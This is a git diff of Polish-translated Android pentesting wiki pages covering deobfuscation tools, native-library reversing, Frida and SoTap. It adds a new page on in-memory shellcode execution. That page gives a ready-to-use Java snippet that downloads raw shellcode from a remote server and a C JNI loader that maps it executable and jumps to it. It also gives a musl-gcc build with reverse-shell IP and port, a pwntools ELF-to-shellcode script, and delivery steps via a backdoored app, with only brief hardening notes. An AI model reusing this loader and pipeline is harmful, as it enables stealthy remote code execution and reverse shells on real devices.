narzędzie LLM do znajdowania potencjalnych podatności w android apps i deobfuskacji kodu aplikacji android. Używa publicznego API Google's Gemini. +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -To ogólny deobfuskator dla Androida. Simplify virtually executes an app, aby zrozumieć jej zachowanie, a następnie próbuje zoptymalizować kod tak, aby zachowywał się identycznie, ale był łatwiejszy do zrozumienia przez człowieka. Każdy typ optymalizacji jest prosty i uniwersalny, więc nie ma znaczenia, jaki konkretny typ obfuskacji został użyty. +Jest to **ogólny deobfuskator dla androida.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, tak aby zachowywał się identycznie, ale był łatwiejszy do zrozumienia przez człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji został użyty. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD dostarcza informacji o **tym, jak został stworzony APK**. Identyfikuje wiele **compilers**, **packers**, **obfuscators** i innych dziwnych rzeczy. To _PEiD_ dla Androida. +APKiD daje informacje o tym, **jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packers**, **obfuscators**, oraz innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida. ### Manual -[Przeczytaj ten tutorial, aby poznać kilka sztuczek dotyczących **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Przeczytaj ten samouczek, aby poznać triki dotyczące **jak odwrócić niestandardową obfuskację**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b to wirtualna maszyna do bezpieczeństwa Androida oparta na ubuntu-mate; zawiera zbiór najnowszych frameworków, tutoriali i laboratoriów od różnych badaczy i pasjonatów bezpieczeństwa, przeznaczonych do reverse engineeringu i analizy malware. +AndroL4b to wirtualna maszyna do bezpieczeństwa Android oparta na ubuntu-mate, zawierająca zbiór najnowszych frameworków, samouczków i laboratoriów od różnych entuzjastów i badaczy bezpieczeństwa do reverse engineeringu i analizy malware. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To świetna lista zasobów -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Szybki kurs Androida +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## Yet to try - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..29278db0a --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,121 @@ +# Android Wykonanie natywnego kodu w pamięci via JNI (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +Ta strona dokumentuje praktyczny wzorzec wykonania natywnych payloadów całkowicie w pamięci z procesu nieufnej aplikacji Android przy użyciu JNI. Przepływ unika tworzenia jakiegokolwiek natywnego binarium na dysku: pobierz surowe bajty shellcode przez HTTP(S), przekaż je do mostka JNI, zaalokuj pamięć RX i skocz do niej. + +Dlaczego to ważne +- Zmniejsza artefakty kryminalistyczne (brak ELF na dysku) +- Kompatybilne z “stage-2” native payloads generowanymi z ELF exploit binary +- Zgodne z tradecraft używanym przez nowoczesne malware i red teams + +Schemat wysokiego poziomu +1) Pobierz bajty shellcode w Java/Kotlin +2) Wywołaj natywną metodę (JNI) z tablicą bajtów +3) W JNI: alokuj pamięć RW → skopiuj bajty → mprotect do RX → wywołaj entrypoint + +Minimalny przykład + +Java/Kotlin side +```java +public final class NativeExec { +static { System.loadLibrary("nativeexec"); } +public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` +C — strona JNI (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { +__builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { +jsize len = (*env)->GetArrayLength(env, sc); +if (len <= 0) return -1; + +// RW anonymous buffer +void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +if (buf == MAP_FAILED) return -2; + +jboolean isCopy = 0; +jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); +if (!bytes) { munmap(buf, len); return -3; } + +memcpy(buf, bytes, len); +(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + +// Make RX and execute +if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } +flush_icache(buf, len); + +int (*entry)(void) = (int (*)(void))buf; +int ret = entry(); + +// Optional: restore RW and wipe +mprotect(buf, len, PROT_READ | PROT_WRITE); +memset(buf, 0, len); +munmap(buf, len); +return ret; +} +``` +Uwagi i zastrzeżenia +- W^X/execmem: Nowoczesny Android egzekwuje W^X; anonimowe mapowania PROT_EXEC są nadal zwykle dozwolone dla procesów aplikacji z JIT (z zastrzeżeniem polityki SELinux). Niektóre urządzenia/ROMy to ograniczają; w razie potrzeby cofnij się do JIT-allocated exec pools lub native bridges. +- Architektury: Upewnij się, że architektura shellcode odpowiada urządzeniu (zwykle arm64-v8a; x86 tylko na emulatorach). +- Kontrakt punktu wejścia: Ustal konwencję wejścia dla shellcode (bez argumentów vs wskaźnik do struktury). Zachowaj go niezależnym od pozycji (PIC). +- Stabilność: Wyczyść cache instrukcji przed skokiem; niezgodny cache może spowodować crash na ARM. + +Packaging ELF → shellcode niezależny od pozycji +Solidny pipeline operatorski wygląda następująco: +- Zbuduj swój exploit jako statyczny ELF za pomocą musl-gcc +- Konwertuj ELF na self‑loading shellcode blob używając pwntools’ shellcraft.loader_append + +Kompilacja +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +Przekształć ELF w surowy shellcode (przykład amd64) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` +Dlaczego loader_append działa: emituje mały loader, który mapuje osadzone segmenty programu ELF w pamięci i przekazuje kontrolę do jego punktu wejścia, dając pojedynczy surowy blob, który można skopiować za pomocą memcpy i wykonać w aplikacji. + +Dostarczenie +- Hostuj sc na serwerze HTTP(S) pod twoją kontrolą +- Aplikacja z backdoorem/testowa pobiera sc i wywołuje pokazany powyżej JNI bridge +- Nasłuchuj na maszynie operatora na wszelkie połączenia odwrotne, które payload kernelowy lub user-mode nawiąże + +Proces walidacji dla payloadów jądra +- Użyj symbolizowanego vmlinux dla szybkiego reversing/odzyskiwania offsetów +- Prototypuj prymitywy na wygodnym obrazie debugowym, jeśli dostępny, ale zawsze ponownie waliduj na docelowym urządzeniu z Androidem (kallsyms, KASLR slide, układ tablic stron i mitigacje mogą się różnić) + +Utwardzanie/Detekcja (blue team) +- Zabroń anonimowego PROT_EXEC w domenach aplikacji tam, gdzie to możliwe (polityka SELinux) +- Wymuszaj ścisłą integralność kodu (brak dynamicznego ładowania natywnych bibliotek z sieci) i weryfikuj kanały aktualizacji +- Monitoruj podejrzane przejścia mmap/mprotect do RX oraz duże kopiowania tablic bajtów poprzedzające skoki + +Referencje +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index a7e32ea6d..9b623003f 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,42 +1,42 @@ -# Analiza bibliotek natywnych +# Reversing Native Libraries {{#include ../../banners/hacktricks-training.md}} **Więcej informacji:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Aplikacje Android mogą używać bibliotek natywnych, zwykle napisanych w C lub C++, do zadań krytycznych pod względem wydajności. Twórcy malware także nadużywają tych bibliotek, ponieważ ELF shared objects wciąż są trudniejsze do dekompilacji niż DEX/OAT byte-code. -Ta strona koncentruje się na *praktycznych* workflowach i *najnowszych* udoskonaleniach narzędzi (2023–2025), które ułatwiają reversing Androidowych plików `.so`. +Aplikacje Android mogą używać natywnych bibliotek, zwykle napisanych w C lub C++, do zadań krytycznych pod względem wydajności. Malware creators również nadużywają tych bibliotek, ponieważ ELF shared objects wciąż trudniej zdekompilować niż DEX/OAT byte-code. +Ta strona koncentruje się na *praktycznych* przepływach pracy i *niedawnych* usprawnieniach narzędzi (2023–2025), które ułatwiają reversing Android `.so` files. --- -### Szybki proces wstępnej analizy dla świeżo pozyskanego `libfoo.so` +### Szybki triage — przepływ pracy dla świeżo pobranego `libfoo.so` -1. **Extract the library** +1. **Wyodrębnij bibliotekę** ```bash # From an installed application adb shell "run-as cat lib/arm64-v8a/libfoo.so" > libfoo.so # Or from the APK (zip) unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/ ``` -2. **Identify architecture & protections** +2. **Zidentyfikuj architekturę i zabezpieczenia** ```bash file libfoo.so # arm64 or arm32 / x86 readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc. checksec --file libfoo.so # (peda/pwntools) ``` -3. **List exported symbols & JNI bindings** +3. **Wypisz eksportowane symbole i powiązania JNI** ```bash readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI ``` -4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis. -Newer Ghidra versions introduced an AArch64 decompiler that recognises PAC/BTI stubs and MTE tags, greatly improving analysis of libraries built with the Android 14 NDK. -5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB). +4. **Wczytaj do dekompilera** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) i uruchom automatyczną analizę. +Nowsze wersje Ghidra wprowadziły dekompiler AArch64, który rozpoznaje PAC/BTI stubs i MTE tags, znacznie poprawiając analizę bibliotek skompilowanych przy użyciu Android 14 NDK. +5. **Zdecyduj o static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB). --- -### Instrumentacja dynamiczna (Frida ≥ 16) +### Dynamic Instrumentation (Frida ≥ 16) Frida’s 16-series brought several Android-specific improvements that help when the target uses modern Clang/LLD optimisations: @@ -61,22 +61,22 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met }); }); ``` -Frida będzie działać od razu na urządzeniach z PAC/BTI (Pixel 8/Android 14+), o ile użyjesz frida-server 16.2 lub nowszej – wcześniejsze wersje nie potrafiły zlokalizować paddingu dla inline hooks. +Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks. -### Process-local JNI telemetry via preloaded .so (SoTap) +### Lokalna telemetria JNI w procesie przez preładowane .so (SoTap) -Gdy pełna instrumentacja jest przesadą lub zablokowana, nadal możesz uzyskać widoczność na poziomie native, preładowując mały logger wewnątrz docelowego procesu. SoTap to lekka natywna biblioteka Android (.so), która loguje zachowanie w czasie wykonywania innych bibliotek JNI (.so) w tym samym procesie aplikacji (nie wymaga root). +Gdy pełna instrumentacja jest przesadą lub zablokowana, nadal możesz uzyskać widoczność na poziomie natywnym przez wstępne załadowanie małego loggera wewnątrz docelowego procesu. SoTap to lekka natywna biblioteka Android (.so), która loguje zachowanie w czasie wykonywania innych bibliotek JNI (.so) w tym samym procesie aplikacji (nie wymaga uprawnień root). -Key properties: +Kluczowe właściwości: - Inicjalizuje się wcześnie i obserwuje JNI/native interactions wewnątrz procesu, który ją ładuje. -- Przechowuje logi, używając wielu zapisywalnych ścieżek z awaryjnym przełączeniem na Logcat, gdy dostęp do pamięci jest ograniczony. -- Source-customizable: edytuj sotap.c, aby rozszerzyć/dostosować co jest logowane i przebuduj per ABI. +- Przechowuje logi przy użyciu wielu zapisywalnych ścieżek z zapasowym przejściem do Logcat, gdy pamięć jest ograniczona. +- Możliwość modyfikacji źródła: edytuj sotap.c, aby rozszerzyć/dostosować, co jest logowane, i przebuduj dla każdego ABI. Setup (repack the APK): -1) Umieść właściwy build ABI w APK, aby loader mógł rozwiązać libsotap.so: +1) Wstaw odpowiednią kompilację ABI do APK, aby loader mógł rozwiązać libsotap.so: - lib/arm64-v8a/libsotap.so (dla arm64) - lib/armeabi-v7a/libsotap.so (dla arm32) -2) Upewnij się, że SoTap ładuje się przed innymi bibliotekami JNI. Wstrzyknij wywołanie wcześnie (np. statyczny initializer podklasy Application lub onCreate), aby logger był zainicjalizowany jako pierwszy. Przykład fragmentu Smali: +2) Upewnij się, że SoTap ładuje się przed innymi bibliotekami JNI. Wstrzyknij wywołanie wcześnie (np. Application subclass static initializer lub onCreate), aby logger został zainicjalizowany pierwszy. Smali snippet example: ```smali const-string v0, "sotap" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V @@ -92,45 +92,56 @@ Log paths (checked in order): # If all fail: fallback to Logcat only ``` Notes and troubleshooting: -- Wyrównanie ABI jest obowiązkowe. Brak dopasowania spowoduje UnsatisfiedLinkError i logger nie załaduje się. -- Ograniczenia przestrzeni dyskowej są powszechne w nowoczesnym Androidzie; jeśli zapisy plików zawiodą, SoTap będzie nadal wysyłać przez Logcat. -- Zachowanie/poziom szczegółowości jest przeznaczony do dostosowania; po edycji pliku sotap.c odbuduj z źródeł. +- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load. +- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat. +- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c. This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available. --- -### Najnowsze podatności, które warto wyszukiwać w APK +### Zobacz także: in‑memory native code execution via JNI -| Rok | CVE | Biblioteka | Uwagi | +A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here: + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +--- + +### Recent vulnerabilities worth hunting for in APKs + +| Rok | CVE | Biblioteka dotknięta | Uwagi | |------|-----|------------------|-------| -|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Przepełnienie bufora sterty dostępne z poziomu natywnego kodu dekodującego obrazy WebP. Wiele aplikacji Android dołącza podatne wersje. Gdy zobaczysz `libwebp.so` w APK, sprawdź jej wersję i spróbuj exploitowania lub załatania.| | -|2024|Multiple|OpenSSL 3.x series|Kilka problemów związanych z bezpieczeństwem pamięci oraz padding-oracle. Wiele bundli Flutter & ReactNative dostarcza własne `libcrypto.so`.| +|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| | +|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.| -Gdy zauważysz *third-party* `.so` pliki w APK, zawsze porównaj ich hash z upstream advisories. SCA (Software Composition Analysis) jest rzadko stosowane na urządzeniach mobilnych, więc przestarzałe, podatne buildy są powszechne. +When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant. --- -### Trendy Anti-Reversing i Hardening (Android 13-15) +### Anti-Reversing & Hardening trends (Android 13-15) -* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 włącza PAC/BTI w bibliotekach systemowych na obsługiwanym sprzęcie ARMv8.3+. Dekompilery teraz pokazują pseudo-instrukcje związane z PAC; dla analizy dynamicznej Frida wstrzykuje trampoliny *po* usunięciu PAC, ale twoje niestandardowe trampoliny powinny wywoływać `pacda`/`autibsp` tam, gdzie to konieczne. -* **MTE & Scudo hardened allocator:** memory-tagging jest opcjonalne, ale wiele aplikacji świadomych Play-Integrity buduje się z `-fsanitize=memtag`; użyj `setprop arm64.memtag.dump 1` oraz `adb shell am start ...` aby przechwycić błędy tagów. -* **LLVM Obfuscator (opaque predicates, control-flow flattening):** komercyjne packery (np. Bangcle, SecNeo) coraz częściej chronią kod natywny, nie tylko Java; spodziewaj się fałszywych ścieżek sterowania i zaszyfrowanych blobów stringów w `.rodata`. +* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 enables PAC/BTI in system libraries on supported ARMv8.3+ silicon. Decompilers now display PAC‐related pseudo-instructions; for dynamic analysis Frida injects trampolines *after* stripping PAC, but your custom trampolines should call `pacda`/`autibsp` where necessary. +* **MTE & Scudo hardened allocator:** memory-tagging is opt-in but many Play-Integrity aware apps build with `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` plus `adb shell am start ...` to capture tag faults. +* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) increasingly protect *native* code, not only Java; expect bogus control-flow and encrypted string blobs in `.rodata`. --- -### Zasoby +### Resources - **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) - **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) - **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### Referencje +### References -- Frida 16.x lista zmian (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) -- Porada NVD dotycząca przepełnienia `libwebp` CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) +- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) +- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) - How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}}